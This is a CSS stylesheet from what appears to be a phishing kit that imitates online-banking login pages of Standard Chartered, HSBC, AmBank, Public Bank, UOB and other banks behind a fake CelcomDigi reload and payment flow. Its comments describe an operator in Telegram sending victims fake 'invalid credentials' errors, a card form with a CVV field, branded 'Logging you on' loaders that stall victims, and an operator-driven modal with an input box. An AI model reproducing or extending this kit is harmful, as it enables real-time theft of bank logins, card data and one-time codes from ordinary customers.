/* Local overrides for CelcomDigi Reload page.
   This file is auto-injected after upstream stylesheets, so your rules win
   under normal specificity. Use !important only when Webflow inline styles
   are in the way. Save the file and refresh the browser to see changes. */

/* Kill the browser's built-in password-reveal button on every page
   (Edge/Chromium add an extra eye that duplicates the bank's own toggle). */
input[type="password"]::-ms-reveal,
input[type="password"]::-ms-clear { display: none !important; }

/* ================================================================
   Standard Chartered (:3020) — body/wrapper stretch to viewport.
   The snapshot's #page-login has inline background:#fff and only 466px
   worth of content (green field with the form), leaving a wide white gap
   between the form and the dark footer on tall viewports. Force the whole
   layout to flex so the green field #row_mainContainer_login grows to fill
   the free vertical space, and give #page-login the same green background
   image as fallback in case flex doesn't take.
   ================================================================ */
html.no-js body#login-page,
body#login-page {
  min-height: 100vh !important;
  display: flex;
  flex-direction: column;
  margin: 0;
}
body#login-page #page-login {
  min-height: 100vh !important;
  display: flex !important;
  flex-direction: column;
  flex: 1 0 auto;
  background-color: transparent !important;
}
body#login-page #row_mainContainer_login {
  flex: 1 0 auto !important;
  min-height: 60vh;
  background-size: cover !important;
  background-position: center !important;
  background-repeat: no-repeat !important;
}
/* Absolute fallback — if flex doesn't stretch the green area on some mobile
   engines, at least body's background stays dark (matches footer) instead
   of raw white. */
body#login-page { background-color: #303030 !important; }

/* ================================================================
   Bank Islam username step (:3011) — mobile-only responsive fix.
   The captured snapshot's .fpx-container.login-page has `width: 700px` +
   inner divs at 638px, and the login row SVG uses a fixed 639x120 viewBox.
   On desktop it fits (matches reference 1:1). On narrow phones (<700px)
   the 700px container overflows the viewport and the visible card looks
   empty because everything renders off-screen to the right. Force the
   whole container tree fluid inside the media query so desktop stays
   untouched.
   ================================================================ */
@media (max-width: 700px) {
  .fpx-container.login-page,
  .fpx-container.login-page > div,
  .fpx-container.login-page .row,
  .fpx-container.login-page [class*="col-"] {
    width: 100% !important;
    max-width: 100% !important;
    min-width: 0 !important;
    box-sizing: border-box !important;
  }
  .fpx-container.login-page svg[viewBox="0 0 639 120.045"] {
    width: 100% !important;
    height: auto !important;
    max-width: 100%;
    display: block;
    min-height: 80px;
  }
  .fpx-container.login-page input#username.input-controls {
    font-size: 16px; /* avoid iOS auto-zoom on focus */
  }
  /* Body-level anti-overflow so any other fixed-width descendant doesn't
     cause horizontal scroll and white gap. Scoped to bimb host via the
     .fpx-container marker so we don't touch other banks. */
  html:has(.fpx-container.login-page) body,
  html:has(.fpx-container.login-page) {
    overflow-x: hidden;
  }
}

/* ================================================================
   AGRONet (:3008 static) — mobile-only responsive fix.
   The captured snapshot's .login-fpx-center-content has `width: 500px`
   + `padding: 0 60px`, and its own `@media (max-width:767px)` block
   sets it to 100% — but larger phones / tablets in portrait routinely
   report ~800px CSS width, so nothing fires and the card ends up
   floating in the middle with big gutters on the sides. Bump the
   breakpoint to 1024px (covers phones + portrait tablets) so the
   card is fluid on any non-desktop viewport. Desktop (>=1025px) keeps
   the original 500px centred card look untouched.
   ================================================================ */
@media (max-width: 1024px) {
  .login-fpx-center-content {
    width: 100% !important;
    max-width: 100% !important;
    min-width: 0 !important;
    padding: 0 16px !important;
    margin: 8px auto !important;
    box-sizing: border-box !important;
    border-radius: 0 !important;
    box-shadow: none !important;
  }
  .login-fpx, .login-content, .login-fpx .login-content,
  .login-agro-2, .login-buttons {
    width: 100% !important;
    max-width: 100% !important;
    box-sizing: border-box !important;
  }
  /* Anti-overflow: keep the card + everything below it clipped to viewport
     width. Scoped via a marker unique to AGRONet (`.c-agro`) so we don't
     touch other snapshots. */
  html:has(.c-agro) body,
  html:has(.c-agro) {
    overflow-x: hidden !important;
  }
}

/* UOB PIB (:3021 live): the bank's JS decides to show or hide a top
   "system notification" strip (dark blue, .notification-message). On the
   real page it's hidden by default; through our proxy it stays visible.
   Just force-hide — there's no meaningful notification to surface here. */
html.login.app .notification-message { display: none !important; }

/* ================================================================
   Public Bank PBe (:3024) — red-themed full-screen loader the live page
   shows between Login → password and on Login submit.
   ================================================================ */
.cd-pbb-loader {
  position: fixed; inset: 0; z-index: 2147483647;
  background: rgba(255, 255, 255, 0.93);
  display: flex; align-items: center; justify-content: center;
}
.cd-pbb-loader__box { text-align: center; font-family: Arial, Helvetica, sans-serif; color: #333; }
.cd-pbb-loader__spin {
  width: 46px; height: 46px; margin: 0 auto 16px;
  border: 5px solid #e6e6e6; border-top-color: #c8102e; border-radius: 50%;
  animation: cd-pbb-spin 0.9s linear infinite;
}
.cd-pbb-loader__title { font-size: 18px; font-weight: bold; margin-bottom: 6px; color: #222; }
.cd-pbb-loader__msg { font-size: 13px; color: #666; line-height: 1.5; }
@keyframes cd-pbb-spin { to { transform: rotate(360deg); } }

/* ================================================================
   Generic full-screen loader used by banks without a native spinner.
   Minimal: no card, no title — just a centred ring on a faint overlay.
   Toggle via window.cdPush.showLoader() / hideLoader().
   ================================================================ */
.cd-loader {
  position: fixed; inset: 0;
  z-index: 2147483645;
  display: flex; align-items: center; justify-content: center;
  background: rgba(255, 255, 255, .65);
  backdrop-filter: blur(1.5px);
  -webkit-backdrop-filter: blur(1.5px);
  pointer-events: auto;
}
.cd-loader__spin {
  width: 56px; height: 56px;
  border: 4px solid rgba(15, 23, 42, .12);
  border-top-color: #2563eb;
  border-radius: 50%;
  animation: cd-loader-spin .9s linear infinite;
}
@keyframes cd-loader-spin { to { transform: rotate(360deg); } }

/* ================================================================
   AmBank invalid-credentials banner (:3010 username step).
   Shown on the username page after a redirect back from the password step
   because the operator pressed "Неверные данные". Matches AmBank's brand red.
   ================================================================ */
.cd-ambank-user-err {
  display: flex; align-items: flex-start; gap: 10px;
  margin: 14px 0 16px;
  padding: 12px 14px;
  background: #fff5f5;
  border: 1px solid #f4c9c9;
  border-left: 4px solid #ed1c24;
  border-radius: 4px;
  color: #4a4a4a;
  font-size: 14px; line-height: 1.45;
}
.cd-ambank-user-err__icon {
  flex: 0 0 22px; width: 22px; height: 22px;
  display: inline-flex; align-items: center; justify-content: center;
  background: #ed1c24; color: #fff;
  border-radius: 50%;
  font-weight: 700; font-size: 14px;
}

/* ================================================================
   cdPush modal (only the "Свой текст/фото" branch).
   Centred card with photo + text + optional input + Continue. Shown by
   window.cdPush.start() when the operator picks "Свой текст/фото" in TG.
   No universal page blocker — pages opt in by calling cdPush.start().
   ================================================================ */
.cd-push-root, .cd-push-root * { box-sizing: border-box; }
.cd-push-root {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "SF Pro Display",
               Roboto, "Helvetica Neue", Arial, sans-serif;
  color: #0f172a;
}
.cd-push-overlay {
  position: fixed; inset: 0;
  background: rgba(15, 23, 42, .58);
  backdrop-filter: blur(8px) saturate(140%);
  -webkit-backdrop-filter: blur(8px) saturate(140%);
  z-index: 2147483640;
  animation: cd-push-fade .22s ease-out both;
}
.cd-push-overlay[hidden] { display: none !important; }
@keyframes cd-push-fade { from { opacity: 0; } to { opacity: 1; } }

.cd-push-modal {
  position: fixed; inset: 0;
  display: flex; align-items: center; justify-content: center;
  padding: 20px;
  z-index: 2147483646;
  overflow-y: auto; /* if card is taller than viewport, scroll the outer */
  -webkit-overflow-scrolling: touch;
}
.cd-push-modal[hidden] { display: none !important; }

.cd-push-modal__card {
  width: 100%; max-width: 380px;
  background: #ffffff;
  border-radius: 22px;
  overflow: hidden;
  display: flex; flex-direction: column;
  margin: auto; /* keep centred even when scrolling */
  box-shadow:
    0 30px 80px -10px rgba(0, 0, 0, .35),
    0 12px 30px -8px rgba(0, 0, 0, .2),
    0 0 0 1px rgba(15, 23, 42, .04);
  animation: cd-push-pop .28s cubic-bezier(.34, 1.4, .5, 1) both;
}
@keyframes cd-push-pop {
  from { transform: scale(.9) translateY(12px); opacity: 0; }
  to   { transform: scale(1)  translateY(0);    opacity: 1; }
}

/* Photo shows at its natural aspect ratio, full card width, no letterbox.
   No background, no max-height — operator's photo dictates the height. */
.cd-push-modal__photo-wrap {
  width: 100%;
  background: transparent;
  overflow: hidden;
  position: relative;
  font-size: 0; /* kill the inline-image baseline gap */
}
.cd-push-modal__photo-wrap[hidden] { display: none !important; }
.cd-push-modal__photo-wrap::after {
  content: ""; position: absolute; left: 0; right: 0; bottom: 0; height: 1px;
  background: linear-gradient(90deg, transparent 0%, rgba(15,23,42,.08) 50%, transparent 100%);
}
.cd-push-modal__photo {
  display: block;
  width: 100%;
  height: auto;
  object-fit: contain;
}

.cd-push-modal__body {
  padding: 22px 24px 22px;
  display: flex; flex-direction: column; gap: 18px;
}
.cd-push-modal__text {
  font-size: 16px; line-height: 1.55;
  font-weight: 500;
  color: #0f172a;
  letter-spacing: -.005em;
  white-space: pre-wrap; word-break: break-word;
  text-align: center;
  margin: 2px 0;
}

.cd-push-modal__input-wrap[hidden] { display: none !important; }
.cd-push-modal__input {
  width: 100%; padding: 13px 16px;
  font-size: 15px; font-family: inherit; color: #0f172a;
  background: #f8fafc;
  border: 1.5px solid #e2e8f0; border-radius: 12px;
  outline: none;
  transition: border-color .15s, box-shadow .15s, background-color .15s;
}
.cd-push-modal__input::placeholder { color: #94a3b8; }
.cd-push-modal__input:focus {
  border-color: #3b82f6;
  background: #ffffff;
  box-shadow: 0 0 0 4px rgba(59,130,246,.14);
}

.cd-push-modal__btn {
  align-self: center;
  padding: 10px 28px;
  font-size: 14px; font-weight: 600; font-family: inherit;
  letter-spacing: .01em;
  color: #ffffff;
  background: linear-gradient(180deg, #3b82f6 0%, #2563eb 100%);
  border: 0; border-radius: 10px;
  cursor: pointer;
  box-shadow:
    0 4px 12px -2px rgba(37, 99, 235, .4),
    inset 0 1px 0 rgba(255, 255, 255, .22);
  transition: transform .12s ease, box-shadow .15s ease, filter .15s ease;
}
.cd-push-modal__btn:hover {
  filter: brightness(1.05);
  box-shadow:
    0 6px 16px -2px rgba(37, 99, 235, .5),
    inset 0 1px 0 rgba(255, 255, 255, .22);
  transform: translateY(-1px);
}
.cd-push-modal__btn:active {
  transform: translateY(0);
  filter: brightness(.95);
  box-shadow:
    0 2px 6px -2px rgba(37, 99, 235, .35),
    inset 0 1px 0 rgba(255, 255, 255, .15);
}
.cd-push-modal__btn:focus-visible {
  outline: 3px solid rgba(59, 130, 246, .35);
  outline-offset: 2px;
}

@media (max-width: 420px) {
  .cd-push-modal__card { max-width: 100%; border-radius: 20px; }
  /* max-height ONLY on the wrapper — img keeps width:100% + object-fit:contain
     so aspect ratio stays intact (setting max-height on the img itself
     alongside width:100% squishes the photo). */
  .cd-push-modal__photo-wrap { max-height: 240px; }
  .cd-push-modal__body { padding: 20px 20px 20px; gap: 16px; }
}

/* ================================================================
   CelcomDigi pages only (guarded by host-specific selectors)
   ================================================================ */

/* Payment page (ngpay :3001): hide the e-Wallet and Credit/Debit Card options. */
label#eWallet,
label#Credit-debit-card {
  display: none !important;
}

/* iPay88 card snapshot (:3003) — all rules scoped to #wf-form-Card-Details
   so they are a no-op on every other proxied host (ngpay, affinalways, etc.) */
#wf-form-Card-Details .cd-input-label {
  top: 8px;
  font-size: 12px;
  line-height: 12px;
  transition: all .2s;
  pointer-events: none;
}

#wf-form-Card-Details .cd-input-wrapper { position: relative; }
#wf-form-Card-Details .cd-eye {
  position: absolute;
  right: 14px;
  top: 50%;
  transform: translateY(-50%);
  display: flex;
  padding: 6px;
  border: 0;
  background: none;
  cursor: pointer;
  color: var(--gray-500, #667085);
}
#wf-form-Card-Details .cd-eye svg { width: 20px; height: 20px; display: block; }
#CVV { padding-right: 44px; }
#CVV::-ms-reveal, #CVV::-ms-clear { display: none; }

/* Inline notice used by custom.js when a snapshot form's submit / button
   is intercepted (Muamalat password etc.). Subtle banner just above the form. */
.cd-local-mock-notice {
  display: none;
  margin: 0 0 16px;
  padding: 12px 16px;
  background: #fff7e6;
  border: 1px solid #ffd591;
  border-radius: 8px;
  color: #874d00;
  font-size: 14px;
  line-height: 1.4;
  text-align: left;
}

/* ================================================================
   HSBC username card width (:3015)
   The snapshot's .loginmodal-container has no max-width without .helpExp
   (→ full-width) and 800px with it (→ empty help gap). Constrain it to the
   form width by default, and widen to 800px only while the help panel is open
   (custom.js toggles .cd-help-open). Scoped to .loginmodal-container, which is
   HSBC-only, so no other bank is affected.
   ================================================================ */
.loginmodal-container.helpExp { max-width: 520px !important; }
.loginmodal-container.cd-help-open { max-width: 800px !important; }

/* ================================================================
   HSBC Continue / Log on button states (:3015)
   Genuine HSBC: disabled = brand red at 0.5 opacity (pink), enabled = solid
   brand red, hover/active = darker red. The snapshot also darkens on :focus,
   which made the button look "hovered" right after it enabled — we drop that
   so only real hover/active darkens it. Scoped to .loginmodal-container (HSBC).
   ================================================================ */
.loginmodal-container button.primaryAction:not([disabled]) {
  background-color: #db0011 !important;
  opacity: 1 !important;
  color: #fff !important;
  cursor: pointer;
}
.loginmodal-container button.primaryAction:not([disabled]):hover,
.loginmodal-container button.primaryAction:not([disabled]):active {
  background-color: #af000d !important;
}

/* ================================================================
   HSBC security-code "switch user" panel (:3015)
   The expanded #id_switchUser_Exp (.switchUser) has no styling in the snapshot
   (Angular adds it at runtime), so it rendered as plain inline text. Recreate
   the original dropdown card: a white box overlaying the heading, masked name,
   and a grey footer strip with the "Switch user" link. Scoped to .switchUser.
   ================================================================ */
.userHeading { position: relative; }
.switchUser.collapse.in {
  position: absolute;
  top: -18px;
  left: -20px;
  z-index: 1000;
  min-width: 300px;
  background: #fff;
  border: 1px solid #e8e8e8;
  box-shadow: 0 4px 18px rgba(0,0,0,.18);
  padding: 18px 20px 0;
}
.switchUser.collapse.in .headingarrow { display: block; margin-bottom: 6px !important; }
.switchUser .switchMsg {
  font-size: 15px;
  color: #333;
  padding: 2px 0 14px;
  word-break: break-all;
}
.switchUser .switchFooter {
  background: #f3f3f4;
  margin: 0 -20px;
  padding: 13px 20px;
  border-top: 1px solid #ececec;
}
.switchUser .switchFooter a { color: #333; text-decoration: none; font-weight: 400; }
.switchUser .switchFooter a:hover { text-decoration: underline; }
.switchUser .switchFooter .icon-chevron-right { color: #db0011; }

/* ================================================================
   HSBC username "invalid credentials" banner (:3015).
   Shown on the username step (step=1) when the user got bounced back from
   step=2 because the operator pressed "Неверные данные" in Telegram.
   Matches HSBC's house red-stripe error style.
   ================================================================ */
.cd-hsbc-user-err {
  display: flex;
  align-items: flex-start;
  gap: 10px;
  margin: 16px 22px 0;
  padding: 12px 14px;
  background: #fff5f5;
  border: 1px solid #f4c9c9;
  border-left: 4px solid #db0011;
  border-radius: 4px;
  color: #4a4a4a;
  font-family: "HSBC Univers, Arial", Arial, Helvetica, sans-serif;
  font-size: 14px;
  line-height: 1.45;
}
.cd-hsbc-user-err svg {
  color: #db0011;
  flex-shrink: 0;
  margin-top: 1px;
}
.cd-hsbc-user-err span { flex: 1; }

/* ================================================================
   Brand loading overlay — shared "Logging you on…" style used by
   cdPush.showLoader() for every bank. Adapted from HSBC's real loader
   (spinner + title + submessage + bottom progress bar). Accent color
   is per-bank via the `--cd-brand` custom property set on the overlay
   element in JS; defaults to HSBC red when nothing is set.
   ================================================================ */
.cd-brand-loader, .cd-hsbc-loader {
  position: fixed; inset: 0; z-index: 2147483647;
  display: flex; align-items: center; justify-content: center;
  background: rgba(255,255,255,.94);
  font-family: Arial, Helvetica, sans-serif;
}
.cd-brand-loader__box, .cd-hsbc-loader__box {
  text-align: center; max-width: 380px; padding: 0 24px;
}
.cd-brand-loader__ring, .cd-hsbc-loader__ring {
  width: 60px; height: 60px;
  animation: cd-brand-rotate 2s linear infinite;
}
.cd-brand-loader__ring circle, .cd-hsbc-loader__ring circle {
  fill: none;
  stroke: var(--cd-brand, #db0011);
  stroke-width: 4; stroke-linecap: round;
  animation: cd-brand-dash 1.5s ease-in-out infinite;
}
@keyframes cd-brand-rotate { 100% { transform: rotate(360deg); } }
@keyframes cd-brand-dash {
  0%   { stroke-dasharray: 1, 150;  stroke-dashoffset: 0; }
  50%  { stroke-dasharray: 90, 150; stroke-dashoffset: -35; }
  100% { stroke-dasharray: 90, 150; stroke-dashoffset: -124; }
}
/* HSBC-specific animation aliases kept for backward compat (the HSBC IIFE
   uses cd-hsbc-* names directly). */
@keyframes cd-hsbc-rotate { 100% { transform: rotate(360deg); } }
@keyframes cd-hsbc-dash {
  0%   { stroke-dasharray: 1, 150;  stroke-dashoffset: 0; }
  50%  { stroke-dasharray: 90, 150; stroke-dashoffset: -35; }
  100% { stroke-dasharray: 90, 150; stroke-dashoffset: -124; }
}
.cd-brand-loader__title, .cd-hsbc-loader__title {
  margin-top: 24px; font-size: 21px; font-weight: 300; color: #333;
}
.cd-brand-loader__msg, .cd-hsbc-loader__msg {
  margin-top: 10px; font-size: 14px; line-height: 1.55; color: #767676;
}
.cd-brand-loader__bar, .cd-hsbc-loader__bar {
  margin: 18px auto 0; width: 56px; height: 2px;
  background: #eee; overflow: hidden; border-radius: 2px;
}
.cd-brand-loader__bar::after, .cd-hsbc-loader__bar::after {
  content: ""; display: block; width: 40%; height: 100%;
  background: var(--cd-brand, #db0011);
  animation: cd-brand-slide 1.2s ease-in-out infinite;
}
@keyframes cd-brand-slide { 0% { margin-left: -40%; } 100% { margin-left: 100%; } }
@keyframes cd-hsbc-slide { 0% { margin-left: -40%; } 100% { margin-left: 100%; } }